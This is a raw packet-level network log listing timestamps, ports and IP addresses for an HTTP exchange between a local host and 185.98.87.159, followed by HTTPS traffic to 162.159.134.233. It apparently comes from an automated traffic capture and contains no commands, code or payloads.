Oct 29, 2021 17:55:32.629704952 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.629750013 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629765987 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629779100 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629791021 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.629820108 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.629847050 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.630445004 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.630470037 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.630496025 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.630508900 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.630521059 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.630563974 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684659958 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684689045 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684706926 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684722900 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684760094 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684792042 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684792995 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684811115 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684828043 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684856892 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684844971 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684880018 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684896946 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684909105 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684935093 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684952021 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.684976101 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.684984922 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685003042 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685041904 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.685075045 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685094118 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685112000 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685128927 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685146093 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.685170889 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.685266018 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685312033 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685323000 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.685331106 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685352087 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.685388088 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.739792109 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739830017 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739841938 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739854097 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739866018 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739878893 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.739900112 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.739936113 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740005970 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740029097 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740041971 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740055084 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740071058 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740080118 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740083933 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740130901 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740140915 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740159988 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740175962 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740197897 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740201950 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740215063 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740238905 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740242958 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740283966 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740375996 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740397930 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740411997 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740425110 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.740463972 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.740479946 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.794944048 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795059919 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795078039 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795094013 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795105934 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795121908 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795151949 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795159101 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795176029 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795182943 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795207977 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795227051 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795257092 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795298100 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795301914 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795331955 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795347929 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795376062 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795377016 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795393944 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795408010 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795424938 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795474052 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795480967 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795497894 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795526028 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795541048 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795542955 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795561075 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795583963 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795624018 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795640945 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795656919 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795672894 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795691967 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.795708895 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.795763016 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850198984 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850236893 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850255966 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850269079 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850327015 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850344896 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850358009 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850383997 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850405931 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850409031 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850420952 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850439072 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850452900 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850471973 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850527048 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850565910 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850567102 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850583076 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850594044 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850646973 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850673914 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850694895 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850712061 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850729942 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850747108 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850764036 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850780964 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850794077 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850825071 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850824118 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850837946 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850846052 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850852013 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850867033 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.850872993 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.850929976 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905251980 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905278921 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905298948 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905316114 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905337095 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905354023 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905356884 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905376911 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905392885 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905400038 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905441999 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905441999 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905450106 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905459881 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905478001 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905494928 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905512094 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905530930 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905535936 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905550957 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905567884 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905570030 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905582905 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905587912 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905606985 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905642986 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905673027 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905885935 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905905008 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905917883 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905930996 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.905966043 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905982018 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.905982971 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.906003952 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.906021118 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.906037092 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.906078100 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.906096935 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.906114101 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960237026 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960263968 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960308075 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960325003 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960340023 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960356951 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960413933 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960393906 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960443974 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960488081 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960509062 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960520983 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960529089 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960536003 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960668087 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960685015 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960699081 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960716009 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960733891 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.960738897 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.960772038 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961113930 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961132050 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961148024 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961164951 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961169004 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961194038 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961323977 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961354971 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961373091 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961390018 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961394072 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961406946 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961426020 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961429119 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961443901 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961462021 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961467028 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961479902 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961493015 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:32.961497068 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:32.961595058 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015542030 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015667915 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015686035 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015708923 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015717983 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015732050 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015744925 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015794039 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015805006 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015824080 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015842915 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015842915 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015858889 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015872955 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015876055 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015893936 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015902042 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015911102 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015928984 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015943050 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.015945911 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015968084 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015985012 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.015989065 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.016016960 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.016021967 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.016060114 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.016100883 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:33.016108990 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.016161919 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.016196012 CEST	49834	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:33.070866108 CEST	80	49834	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:35.129364967 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:35.129421949 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:35.129590988 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:35.189604044 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:35.189630985 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:35.228668928 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:35.228832960 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:35.233530998 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:35.234431028 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:35.277650118 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.126858950 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.168874979 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169123888 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169226885 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169275999 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169313908 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169358969 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169394016 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169405937 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169413090 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169450998 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169487000 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169517040 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169569969 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169578075 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169584990 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169635057 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169683933 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169733047 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169774055 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169783115 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169790030 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169831991 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169836044 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169840097 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169894934 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169935942 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169976950 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.169976950 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169981003 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.169989109 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170054913 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170094013 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170106888 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170113087 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170162916 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170175076 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170208931 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170250893 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170290947 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170300961 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170306921 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170310020 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170361042 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170373917 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170380116 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170430899 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170471907 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170481920 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170488119 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170540094 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170542955 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170587063 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170625925 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170644045 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170650959 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170694113 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170703888 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170744896 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170790911 CEST	443	49835	162.159.134.233	192.168.2.6
